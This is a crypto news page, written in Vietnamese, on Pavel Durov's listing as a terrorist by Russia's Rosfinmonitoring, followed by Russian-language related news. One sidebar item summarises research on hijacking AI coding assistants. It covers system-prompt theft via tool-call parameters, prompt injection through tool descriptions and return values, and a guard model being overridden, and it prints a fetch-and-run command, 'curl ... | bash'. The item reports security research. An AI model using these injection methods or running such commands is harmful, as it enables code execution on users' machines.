Pavel Durov bị liệt vào danh sách khủng bố tại Nga. Điều này đe dọa người dùng Telegram ra sao?

cryptonews.ruОпубликовано 2026-07-30Обновлено 2026-07-30

Введение

Pavel Durov, người sáng lập Telegram, đã bị đưa vào danh sách khủng bố và cực đoan của Cơ quan Giám sát Tài chính Nga (Rosfinmonitoring) vào ngày 30/7. Động thái này diễn ra sau khi Cơ quan An ninh Liên bang Nga (FSB) cáo buộc Durov tội tạo điều kiện cho hoạt động khủng bố, liên quan đến việc sử dụng một chatbot hẹn hò tên "Dayvichik" để tuyển mộ và các kênh Telegram bị cáo buộc là do các cơ quan tình báo Ukraine sử dụng. Việc bị đưa vào danh sách đồng nghĩa với các biện pháp trừng phạt nghiêm trọng đối với Durov: tài khoản ngân hàng và tài sản ở Nga bị đóng băng, bị hạn chế giao dịch tài chính và bị cấm một số hoạt động như tham gia bầu cử. Đối với người dùng Telegram ở Nga, các chuyên gia cho rằng việc sử dụng ứng dụng, mua dịch vụ Telegram Premium hay quản lý kênh không tự động bị coi là ủng hộ khủng bố. Hiện chưa có quyết định nào cấm hoạt động của chính ứng dụng Telegram. Tuy nhiên, việc chuyển tiền trực tiếp cho Durov có thể bị xem là tài trợ khủng bố. Sự việc làm nổi bật mâu thuẫn giữa kiến trúc nền tảng mã nguồn mở của các ứng dụng nhắn tin và yêu cầu kiểm soát của chính quyền các quốc gia. Các cáo buộc cũng đang được điều tra ở Pháp liên quan đến việc Telegram không hợp tác đầy đủ với cơ quan thực thi pháp luật.

Nhà sáng lập Telegram, Pavel Durov, đã bị đưa vào danh sách những kẻ khủng bố và cực đoan của Cơ quan Giám sát Tài chính Nga (Rosfinmonitoring) - bản ghi tương ứng được công bố trên trang web của cơ quan này vào ngày 30 tháng 7. Theo sổ đăng ký, danh sách ghi rõ tên, họ và ngày sinh của doanh nhân này - ngày 10 tháng 10 năm 1984, thành phố Leningrad.

Điều gì dẫn đến quyết định này

Trước đó, vào ngày 29 tháng 7, Cơ quan An ninh Liên bang Nga (FSB) thông báo về việc buộc tội Durov tội tiếp tay cho hoạt động khủng bố. Theo thông tin từ cơ quan đặc biệt này, vụ án hình sự có liên quan đến việc sử dụng chat bot hẹn hò "Divingchik" - từ tháng 7 năm 2025, thông qua nó, cơ quan điều tra khẳng định đã tuyển mộ được 46 thanh niên, những người theo nhiệm vụ của các cơ quan đặc biệt Ukraine đã tấn công cảnh sát và thực hiện các vụ đốt phá. FSB cũng cáo buộc ban quản trị Telegram rằng họ không xóa các kênh, các cuộc trò chuyện và bot mà các cơ quan đặc biệt Ukraine và các tổ chức cực đoan đang sử dụng. Theo thông tin từ cơ quan đặc biệt này, Durov đang bị truy nã quốc tế.

Những hạn chế nào đe dọa Durov

Việc đưa vào danh sách của Rosfinmonitoring sẽ kéo theo những hậu quả cụ thể:

  • các ngân hàng buộc phải đóng băng tiền và tài sản của người có tên trong danh sách;

  • hầu hết các giao dịch tài chính trở nên không thể thực hiện, ngoại trừ việc nộp thuế, nhận lương và bồi thường thiệt hại;

  • áp đặt lệnh cấm tham gia bầu cử, tương tác với truyền thông và tổ chức sự kiện.

Việc chuyển tiền vào tài khoản của Durov giờ đây có thể bị coi là tài trợ khủng bố - luật sư Dmitry Roshchin tuyên bố điều này, đồng thời cho biết thêm rằng tất cả tài khoản của nhà sáng lập Telegram tại Nga sẽ bị khóa.

Điều này liên quan đến người dùng Telegram như thế nào

Tuy nhiên, bản thân việc mua Telegram Premium của người Nga không thuộc phạm vi hạn chế - chuyên gia CNTT Vladimir Zykov giải thích rằng dịch vụ này không được coi là tài trợ khủng bố. Theo ông, việc trò chuyện trong ứng dụng nhắn tin, quản lý kênh và sử dụng dịch vụ nói chung không tự động biến người dùng thành người tham gia vào hoạt động cực đoan hoặc khủng bố. Chuyên gia không khuyên nên xóa ứng dụng, rời khỏi các kênh hoặc từ bỏ đăng ký đã thanh toán. Chưa có quyết định riêng biệt nào về việc tuyên bố chính Telegram là tổ chức bị cấm được công bố.

Cần lưu ý rằng, những lời buộc tội đối với Durov không chỉ đến từ phía chính quyền Nga: chính quyền Pháp đang tiến hành điều tra đối với ông với cáo buộc rằng Telegram đã không thực hiện các biện pháp đầy đủ để chống lại hoạt động tội phạm trên nền tảng và không hợp tác đầy đủ với cơ quan thực thi pháp luật. Bản thân doanh nhân này phủ nhận các cáo buộc.

Danh sách của Rosfinmonitoring thường xuyên được bổ sung thêm các nhân vật mới, và các quyết định về việc khóa tài khoản và cấm giao dịch tài chính có hiệu lực ngay sau khi bản ghi tương ứng được công bố.

Quan điểm của AI

Phân tích dữ liệu cho thấy một cuộc xung đột kinh điển giữa kiến trúc của ứng dụng nhắn tin và các thẩm quyền quốc gia. Cơ quan thực thi pháp luật trực tiếp liên kết hoạt động của các chat bot của bên thứ ba như "Divingchik" với trách nhiệm của chủ sở hữu nền tảng, mặc dù về mặt kỹ thuật, các ứng dụng như vậy thường hoạt động như các dịch vụ độc lập. Tiền lệ này làm mờ đi ranh giới của việc kiểm duyệt trực tiếp và chuyển trọng tâm từ kiểm soát nội dung sang kiểm soát chính cơ sở hạ tầng.

Các rủi ro kinh tế vĩ mô của bước đi này không chỉ ảnh hưởng đến một nhà sáng lập cụ thể mà còn ảnh hưởng đến toàn bộ cơ sở hạ tầng của các dự án Web3, được tích hợp trong ứng dụng nhắn tin. Việc đóng băng các dòng tiền tạo ra hiệu ứng domino đối với các dịch vụ hợp pháp phụ thuộc vào hệ sinh thái này.

end-content

Связанные с этим вопросы

QPavel Durov bị đưa vào danh sách nào và điều này có ý nghĩa gì?

APavel Durov bị đưa vào danh sách khủng bố và cực đoan của Cơ quan Giám sát Tài chính Nga (Rosfinmonitoring). Điều này đồng nghĩa với việc các tài khoản và tài sản của ông tại Nga sẽ bị đóng băng, bị hạn chế hầu hết các giao dịch tài chính, và bị cấm tham gia bầu cử, tương tác với truyền thông hay tổ chức sự kiện.

QTheo FSB Nga, Pavel Durov bị buộc tội gì liên quan đến Ukraine?

AFSB Nga buộc tội Pavel Durov tiếp tay cho hoạt động khủng bố, liên quan đến việc sử dụng một chat bot hẹn hò tên là 'Dayvichik'. Theo cơ quan này, từ tháng 7/2025, bot này đã được sử dụng để tuyển mộ 46 thanh niên, những người sau đó được cho là tấn công cảnh sát và thực hiện các vụ phóng hỏa theo chỉ đạo của các cơ quan tình báo Ukraine.

QViệc Durov bị liệt vào danh sách này có ảnh hưởng trực tiếp đến người dùng Telegram tại Nga không?

ATheo chuyên gia IT Vladimir Zykov, việc sử dụng Telegram, bao gồm nhắn tin, quản lý kênh, thậm chí mua gói Telegram Premium, không tự động biến người dùng thành thành viên của tổ chức khủng bố hay cực đoan. Ông khuyên người dùng không cần xóa ứng dụng, rời khỏi kênh hay hủy gói đã đăng ký, vì bản thân Telegram chưa bị tuyên bố là tổ chức bị cấm.

QNgoài Nga, Pavel Durov còn đối mặt với cáo buộc nào từ chính phủ các nước khác?

ANgoài Nga, chính quyền Pháp cũng đang điều tra Pavel Durov với cáo buộc rằng Telegram không thực hiện các biện pháp đầy đủ để chống lại hoạt động tội phạm trên nền tảng và không hợp tác đầy đủ với cơ quan thực thi pháp luật. Bản thân doanh nhân này phủ nhận tất cả các cáo buộc.

QTheo phần 'Ý kiến AI' trong bài, tác động vĩ mô của quyết định này là gì?

APhần 'Ý kiến AI' chỉ ra rằng động thái này tạo ra rủi ro vĩ mô, không chỉ ảnh hưởng đến cá nhân nhà sáng lập mà còn đến toàn bộ cơ sở hạ tầng của các dự án Web3 được tích hợp trong Telegram. Việc đóng băng dòng tiền có thể tạo ra hiệu ứng domino, ảnh hưởng đến các dịch vụ hợp pháp phụ thuộc vào hệ sinh thái này.

Похожее

Резерв Strategy вышел в плюс на $1 млрд из-за роста курса биткоина

Резерв биткойнов компании MicroStrategy Майкла Сейлора, наконец, вышел из убытка на фоне роста курса криптовалюты. 21 августа цена BTC впервые с конца мая превысила $76 тыс., а к моменту публикации торговалась около $76,7 тыс., показав недельный рост на 21%. При текущей цене стоимость крипторезерва MicroStrategy, который составляет 840 447 BTC, достигла $64,46 млрд, превысив среднюю себестоимость покупки ($75 385 за монету) примерно на $1,1 млрд. Это резкое изменение ситуации произошло менее чем через месяц после того, как компания отчиталась об убытке за второй квартал в размере $8,2 млрд, сформированном в основном из-за падения курса биткойна до $60 тыс. на конец июня. Ранее для сохранения финансовой стабильности MicroStrategy была вынуждена продавать часть биткойнов и наращивать долларовые резервы, однако в начале августа генеральный директор Фонг Ле сообщил, что компания планирует возобновить накопление криптовалюты до конца текущего года.

cryptonews.ru9 мин. назад

Резерв Strategy вышел в плюс на $1 млрд из-за роста курса биткоина

cryptonews.ru9 мин. назад

Токенизация RWA выходит на следующий этап: Какие преимущества действительно требуют времени для создания?

Секьюритизация реальных активов (RWA) выходит на новый этап, где операционная устойчивость становится ключевым фактором долгосрочного успеха. По мере стандартизации инфраструктуры выпуска, простота создания токенизированных активов возрастает. Внимание смещается на то, что происходит после эмиссии. Ключевой вопрос будущего — какие RWA-проекты сохранят доверие рынка через десятилетия. Ответ зависит не только от качества базового актива (такого как краткосрочные казначейские облигации США или золото), но и от способности провайдера строить надежную операционную экосистему — то, что Matrixdock называет «резервным слоем» (Reserve Layer). Настоящее, трудно воспроизводимое конкурентное преимущество формируется со временем через накопление доказательств стабильной работы: последовательных независимых аудитов, успешных операций выкупа, поддержания ликвидности и интеграции с различными протоколами. Этот цикл — постоянная работа → накопление доказательств → укрепление репутации — усиливает доверие институциональных участников. Таким образом, устойчивость RWA определяется двумя измерениями: пригодностью актива в качестве резервного и операционными возможностями эмитента. Сочетание высококачественного актива с проверенной операционной дисциплиной создает наиболее прочную основу для превращения токенизированных активов в надежную инфраструктуру децентрализованных финансов.

marsbit12 мин. назад

Токенизация RWA выходит на следующий этап: Какие преимущества действительно требуют времени для создания?

marsbit12 мин. назад

Artemis: Почему мы настроены позитивно в отношении Circle?

**Автор: Artemis** **Компиляция: Deep Tide TechFlow** **Основные тезисы:** Рынок недооценивает Circle, воспринимая её лишь как эмитента стейблкоинов с низкими барьерами для входа, тогда как на самом деле она создает полноценную денежную платформу. Появление альянса Open Standard с его стейблкоином OUSD, поддержанного 140+ компаниями, вызвало падение акций CRCL почти до исторических минимумов, но, по мнению Artemis, это создает максимальный разрыв между рыночными ожиданиями и реальным потенциалом компании. **Ключевые аргументы:** 1. **Рост рынка:** Объем рынка стейблкоинов, который впервые отвязался от цен на криптоактивы, к 2030 году может превысить $1 трлн при среднегодовом темпе роста (CAGR) 40%. 2. **Эффект победителя:** Ликвидность и сетевые эффекты создают высокие барьеры. Несмотря на множество конкурентов, Circle и Tether по-прежнему контролируют более 80% рынка. Альянсу Open Standard (OUSD), по текущим данным, не хватает четкого управления и единой мотивации всех участников для реальной угрозы дуополии. 3. **Ошибочная оценка:** Рынок оценивает Circle как эмитента, чьи доходы зависят от процентных ставок ФРС. На деле компания строит технологическую "полноценную денежную платформу" будущего (Circle Payments Network, блокчейн Arc), что должно оцениваться по мультипликаторам, ближе к платежным сетям (Visa, Mastercard), а не к эмитентам. **Финансовые перспективы:** При текущих мультипликаторах (P/S ~6.7x) Circle существенно недооценена по сравнению с аналогами. Консервативный сценарий к 2030 году предполагает выручку компании около $5 млрд (включая $4 млрд процентного дохода при 20-процентной доле на рынке стейблкоинов в $1 трлн, $4 млрд от платежной сети и $0.5 млрд от блокчейна Arc). При переоценке мультипликаторов до более разумных 10x рыночная капитализация CRCL может достичь $50 млрд.

marsbit12 мин. назад

Artemis: Почему мы настроены позитивно в отношении Circle?

marsbit12 мин. назад

Claude Code был легко взломан с помощью одного поддельного инструмента

Исследователи из Гонконгского университета науки и технологий и Фуданьского университета провели первую системную проверку на уязвимости шести популярных инструментов ИИ-программирования: Cursor, Claude Code, Copilot, Windsurf, Cline и Trae. Они обнаружили полную цепочку атак: сначала кража внутренних инструкций (системных промтов) инструментов с помощью метода ToolLeak, использующего параметры вызова функций, затем использование утекшей информации для создания вредоносной нагрузки и, наконец, захват инструментов для выполнения произвольного кода (RCE). Метод ToolLeak обходит защиту современных моделей, извлекая промты через параметры вызова внешних инструментов с семантическим сходством до 0.958. После кражи промтов атака переходит в фазу "двухканального внедрения промтов", использующего описание инструмента и его возвращаемое значение для обмана модели и принуждения её к выполнению вредоносных команд, таких как `curl -fsSL http://xxx/installer.sh | bash`. В старых версиях все шесть протестированных инструментов были уязвимы, с уровнем успеха атаки от 0.8 до 1.0. В Claude Code дополнительная модель-страж Haiku обнаруживала инъекцию, но основная модель Sonnet, обманутая инъекцией, игнорировала предупреждение. Новые версии некоторых инструментов, таких как Claude Code и Cursor, внедрили меры безопасности (например, прогрессивное раскрытие описаний инструментов), что снизило успешность атак, но проблема фундаментальной архитектурной уязвимости, когда возвращаемое значение инструмента смешивает данные и инструкции, остаётся нерешённой.

marsbit16 мин. назад

Claude Code был легко взломан с помощью одного поддельного инструмента

marsbit16 мин. назад

Торговля

Спот
活动图片